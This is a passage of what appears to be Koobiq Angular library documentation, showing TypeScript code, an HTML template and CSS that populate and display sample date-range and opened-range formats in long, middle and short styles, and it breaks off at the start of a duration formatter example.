            now.set({ month: 1, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        middle.dateTime.endsNotCurrentYear = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 1, day: 1 }).plus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        middle.dateTime.endsNotCurrentYearSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 1, day: 1 }).plus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        middle.dateTime.endsNotCurrentYearMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 1, day: 1 }).plus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );
    }

    private populateRangeLong(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const long = this.formats.range.long;
        const now = this.adapter.today();

        long.date.currentMonth = this.dateFormatter.rangeLongDate(now.set({ day: 1 }), now.set({ day: 10 }));
        long.date.notCurrentYear = this.dateFormatter.rangeLongDate(
            now.set({ month: 1, day: 1 }),
            now.set({ month: 2, day: 10 })
        );
        long.date.startsNotCurrentYear = this.dateFormatter.rangeLongDate(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }),
            now.set({ month: 2, day: 10 })
        );
        long.date.endsNotCurrentYear = this.dateFormatter.rangeLongDate(
            now.set({ month: 1, day: 1 }),
            now.set({ month: 2, day: 10 }).plus({ years: 1 })
        );
        long.dateTime.sameDateCurrentYear = this.dateFormatter.rangeLongDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 })
        );
        long.dateTime.sameDateCurrentYearSeconds = this.dateFormatter.rangeLongDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 }),
            { seconds: true }
        );
        long.dateTime.sameDateCurrentYearMilliseconds = this.dateFormatter.rangeLongDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        long.dateTime.sameDateNotCurrentYear = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        long.dateTime.sameDateNotCurrentYearSeconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        long.dateTime.sameDateNotCurrentYearMilliseconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        long.dateTime.notCurrentMonth = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 })
        );
        long.dateTime.notCurrentMonthSeconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        long.dateTime.notCurrentMonthMilliseconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        long.dateTime.startsNotCurrentYear = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 })
        );
        long.dateTime.startsNotCurrentYearSeconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        long.dateTime.startsNotCurrentYearMilliseconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        long.dateTime.endsNotCurrentYear = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1 }).minus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        long.dateTime.endsNotCurrentYearSeconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        long.dateTime.endsNotCurrentYearMilliseconds = this.dateFormatter.rangeLongDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );
    }

    private populateOpenedRangeLong(locale: string) {
        this.dateFormatter.setLocale(locale);

        const longOpenedRange = this.formats.openedRange.long;
        const now = this.adapter.today();
        const formatterTemplate = this.dateFormatter.config.rangeTemplates.openedRange.long;

        longOpenedRange.date.onlyStart = this.dateFormatter.openedRangeDate(now, null, formatterTemplate);
        longOpenedRange.date.onlyEnd = this.dateFormatter.openedRangeDate(null, now, formatterTemplate);
        longOpenedRange.date.onlyStartNotCurrentYear = this.dateFormatter.openedRangeDate(
            now.plus({ years: 1 }),
            null,
            formatterTemplate
        );
        longOpenedRange.date.onlyEndNotCurrentYear = this.dateFormatter.openedRangeDate(
            null,
            now.plus({ years: 1 }),
            formatterTemplate
        );

        longOpenedRange.dateTime.onlyStart = this.dateFormatter.openedRangeDateTime(now, null, formatterTemplate);
        longOpenedRange.dateTime.onlyStartSeconds = this.dateFormatter.openedRangeDateTime(
            now,
            null,
            formatterTemplate,
            true
        );
        longOpenedRange.dateTime.onlyStartMilliseconds = this.dateFormatter.openedRangeDateTime(
            now,
            null,
            formatterTemplate,
            false,
            true
        );

        longOpenedRange.dateTime.onlyStartNotCurrentYear = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate
        );
        longOpenedRange.dateTime.onlyStartNotCurrentYearSeconds = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate,
            true
        );
        longOpenedRange.dateTime.onlyStartNotCurrentYearMilliseconds = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate,
            false,
            true
        );

        longOpenedRange.dateTime.onlyEnd = this.dateFormatter.openedRangeDateTime(null, now, formatterTemplate);
        longOpenedRange.dateTime.onlyEndSeconds = this.dateFormatter.openedRangeDateTime(
            null,
            now,
            formatterTemplate,
            true
        );
        longOpenedRange.dateTime.onlyEndMilliseconds = this.dateFormatter.openedRangeDateTime(
            null,
            now,
            formatterTemplate,
            false,
            true
        );

        longOpenedRange.dateTime.onlyEndNotCurrentYear = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate
        );
        longOpenedRange.dateTime.onlyEndNotCurrentYearSeconds = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate,
            true
        );
        longOpenedRange.dateTime.onlyEndNotCurrentYearMilliseconds = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate,
            false,
            true
        );
    }

    private populateOpenedRangeShort(locale: string) {
        this.dateFormatter.setLocale(locale);

        const shortOpenedRange = this.formats.openedRange.short;
        const now = this.adapter.today();
        const formatterTemplate = this.dateFormatter.config.rangeTemplates.openedRange.short;

        shortOpenedRange.date.onlyStart = this.dateFormatter.openedRangeDate(now, null, formatterTemplate);
        shortOpenedRange.date.onlyEnd = this.dateFormatter.openedRangeDate(null, now, formatterTemplate);
        shortOpenedRange.date.onlyStartNotCurrentYear = this.dateFormatter.openedRangeDate(
            now.plus({ years: 1 }),
            null,
            formatterTemplate
        );
        shortOpenedRange.date.onlyEndNotCurrentYear = this.dateFormatter.openedRangeDate(
            null,
            now.plus({ years: 1 }),
            formatterTemplate
        );

        shortOpenedRange.dateTime.onlyStart = this.dateFormatter.openedRangeDateTime(now, null, formatterTemplate);
        shortOpenedRange.dateTime.onlyStartSeconds = this.dateFormatter.openedRangeDateTime(
            now,
            null,
            formatterTemplate,
            true
        );
        shortOpenedRange.dateTime.onlyStartMilliseconds = this.dateFormatter.openedRangeDateTime(
            now,
            null,
            formatterTemplate,
            false,
            true
        );

        shortOpenedRange.dateTime.onlyStartNotCurrentYear = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate
        );
        shortOpenedRange.dateTime.onlyStartNotCurrentYearSeconds = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate,
            true
        );
        shortOpenedRange.dateTime.onlyStartNotCurrentYearMilliseconds = this.dateFormatter.openedRangeDateTime(
            now.plus({ years: 1 }),
            null,
            formatterTemplate,
            false,
            true
        );

        shortOpenedRange.dateTime.onlyEnd = this.dateFormatter.openedRangeDateTime(null, now, formatterTemplate);
        shortOpenedRange.dateTime.onlyEndSeconds = this.dateFormatter.openedRangeDateTime(
            null,
            now,
            formatterTemplate,
            true
        );
        shortOpenedRange.dateTime.onlyEndMilliseconds = this.dateFormatter.openedRangeDateTime(
            null,
            now,
            formatterTemplate,
            false,
            true
        );

        shortOpenedRange.dateTime.onlyEndNotCurrentYear = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate
        );
        shortOpenedRange.dateTime.onlyEndNotCurrentYearSeconds = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate,
            true
        );
        shortOpenedRange.dateTime.onlyEndNotCurrentYearMilliseconds = this.dateFormatter.openedRangeDateTime(
            null,
            now.plus({ years: 1 }),
            formatterTemplate,
            false,
            true
        );
    }
}
```

```html range-date-formatter-example.html
<div class="kbq-text-big">
    <h2>Closed range</h2>
    <div>
        <h3>Long format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDate (current month)</div>
                <div class="flex">{{ formats.range.long.date.currentMonth }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDate (not current month)</div>
                <div class="flex">{{ formats.range.long.date.notCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDate (start date is not in current year)</div>
                <div class="flex">{{ formats.range.long.date.startsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDate (end date is not in current year)</div>
                <div class="flex">{{ formats.range.long.date.endsNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, current year)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, current year) (with seconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, not current year)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, not current year) (with seconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (the same day, not current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.sameDateNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (not current month)</div>
                <div class="flex">{{ formats.range.long.dateTime.notCurrentMonth }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (not current month) (with seconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.notCurrentMonthSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (not current month) (with milliseconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.notCurrentMonthMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (start date is not in current year)</div>
                <div class="flex">{{ formats.range.long.dateTime.startsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (start date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.startsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (start date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.startsNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (end date is not in current year)</div>
                <div class="flex">{{ formats.range.long.dateTime.endsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (end date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.endsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeLongDateTime (end date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.long.dateTime.endsNotCurrentYearMilliseconds }}</div>
            </div>
        </div>
    </div>
    <div>
        <h3>Middle format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime</div>
                <div class="flex">{{ formats.range.middle.dateTime.currentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.currentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.currentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day) (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day) (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day, not current year)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day, not current year) (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (the same day, not current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.sameDateNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (not current month)</div>
                <div class="flex">{{ formats.range.middle.dateTime.notCurrentMonth }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (not current month) (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.notCurrentMonthSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (not current month) (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.notCurrentMonthMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (start date is not in current year)</div>
                <div class="flex">{{ formats.range.middle.dateTime.startsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (start date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.startsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (start date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.startsNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (end date is not in current year)</div>
                <div class="flex">{{ formats.range.middle.dateTime.endsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (end date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.endsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeMiddleDateTime (end date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.middle.dateTime.endsNotCurrentYearMilliseconds }}</div>
            </div>
        </div>
    </div>
    <div>
        <h3>Short format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDate (current month)</div>
                <div class="flex">{{ formats.range.short.date.currentMonth }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDate (not current month)</div>
                <div class="flex">{{ formats.range.short.date.notCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDate (start date is not in current year)</div>
                <div class="flex">{{ formats.range.short.date.startsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDate (end date is not in current year)</div>
                <div class="flex">{{ formats.range.short.date.endsNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, current year)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, current year) (with seconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, not current year)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, not current year) (with seconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (the same day, not current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.sameDateNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (not current month)</div>
                <div class="flex">{{ formats.range.short.dateTime.notCurrentMonth }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (not current month) (with seconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.notCurrentMonthSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (not current month) (with milliseconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.notCurrentMonthMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (start date is not in current year)</div>
                <div class="flex">{{ formats.range.short.dateTime.startsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (start date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.startsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (start date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.startsNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (end date is not in current year)</div>
                <div class="flex">{{ formats.range.short.dateTime.endsNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (end date is not in current year) (with seconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.endsNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">rangeShortDateTime (end date is not in current year) (with milliseconds)</div>
                <div class="flex">{{ formats.range.short.dateTime.endsNotCurrentYearMilliseconds }}</div>
            </div>
        </div>
    </div>

    <h2>Opened range</h2>
    <div>
        <h3>Long format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDate (only start)</div>
                <div class="flex">{{ formats.openedRange.long.date.onlyStart }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDate (only end)</div>
                <div class="flex">{{ formats.openedRange.long.date.onlyEnd }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDate (only start, start date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.long.date.onlyStartNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDate (only end, end date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.long.date.onlyEndNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only start)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStart }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only start) (with seconds)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStartSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only start) (with milliseconds)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStartMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only start, start date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStartNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeLongDateTime (only start, start date is not in current year) (with seconds)
                </div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStartNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeLongDateTime (only start, start date is not in current year) (with milliseconds)
                </div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyStartNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only end)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEnd }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only end) (with seconds)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEndSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only end) (with milliseconds)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEndMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeLongDateTime (only end, end date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEndNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeLongDateTime (only end, end date is not in current year) (with seconds)
                </div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEndNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeLongDateTime (only end, end date is not in current year) (with milliseconds)
                </div>
                <div class="flex">{{ formats.openedRange.long.dateTime.onlyEndNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
        </div>
    </div>
    <div>
        <h3>Short format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDate (only start)</div>
                <div class="flex">{{ formats.openedRange.short.date.onlyStart }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDate (only end)</div>
                <div class="flex">{{ formats.openedRange.short.date.onlyEnd }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDate (only start, start date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.short.date.onlyStartNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDate (only end, end date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.short.date.onlyEndNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only start)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStart }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only start) (with seconds)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStartSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only start) (with milliseconds)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStartMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only start, start date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStartNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeShortDateTime (only start, start date is not in current year) (with seconds)
                </div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStartNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeShortDateTime (only start, start date is not in current year) (with milliseconds)
                </div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyStartNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only end)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEnd }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only end) (with seconds)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEndSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only end) (with milliseconds)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEndMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">openedRangeShortDateTime (only end, end date is not in current year)</div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEndNotCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeShortDateTime (only end, end date is not in current year) (with seconds)
                </div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEndNotCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">
                    openedRangeShortDateTime (only end, end date is not in current year) (with milliseconds)
                </div>
                <div class="flex">{{ formats.openedRange.short.dateTime.onlyEndNotCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>
        </div>
    </div>
</div>
```

```css range-date-formatter-example.css
.example-light-text-secondary {
    color: #ccc;
}

.example-row-border {
    padding: 8px;
    border-bottom: 1px solid #ccc;
}
```

##### Duration

**Example: Duration date-formatter** (`duration-date-formatter`)

```ts duration-date-formatter-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_LOCALE_SERVICE, KbqFormattersModule } from '@koobiq/components/core';
import { DateTime } from 'luxon';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'duration-date-formatter-example',
